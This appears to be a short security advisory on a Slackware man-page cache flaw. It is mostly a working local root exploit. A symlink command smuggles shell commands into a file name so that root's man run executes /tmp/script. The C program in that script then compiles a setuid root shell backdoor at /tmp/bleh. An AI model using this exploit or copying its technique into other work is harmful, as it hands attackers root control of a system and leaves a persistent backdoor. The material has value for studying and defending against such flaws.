Slackware Malicious Manual Page Cache File Creation Vulnerability

The following method of exploitation has been suggested by <josh@pulltheplug.org>:

ln -s "/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;export PATH=.;script;man.7" /var/man/cat7/man.7.gz

When `/usr/bin/man man` is executed by root, it will create
/var/man/cat7/man.1.gz. The symlink forces it to create a file in /usr/man/man7 named:
"/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;exportPATH=.;script;man.7.gz."

/usr/bin/man will then execute /tmp/script which contains:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>

int main()
{
FILE *fil;
mode_t perm = 06711;

if(!getuid()) {
fil = fopen("/tmp/bleh.c","w");
fprintf(fil,"%s\n","#include <unistd.h>");
fprintf(fil,"%s\n","#include <stdio.h>");
fprintf(fil,"%s\n","int main() {");
fprintf(fil,"%s\n","setreuid(0,0);setregid(0,0);");
fprintf(fil,"%s\n","execl(\"/bin/su\",\"su\",NULL);");
fprintf(fil,"%s\n","return 0; }");
fclose(fil);
system("/usr/bin/gcc -o /tmp/bleh /tmp/bleh.c");
unlink("/tmp/bleh.c");
chmod("/tmp/bleh", perm);
}
execl("/usr/bin/man","man","/usr/man/man7/man.7.gz",NULL);
return 0;
}


 

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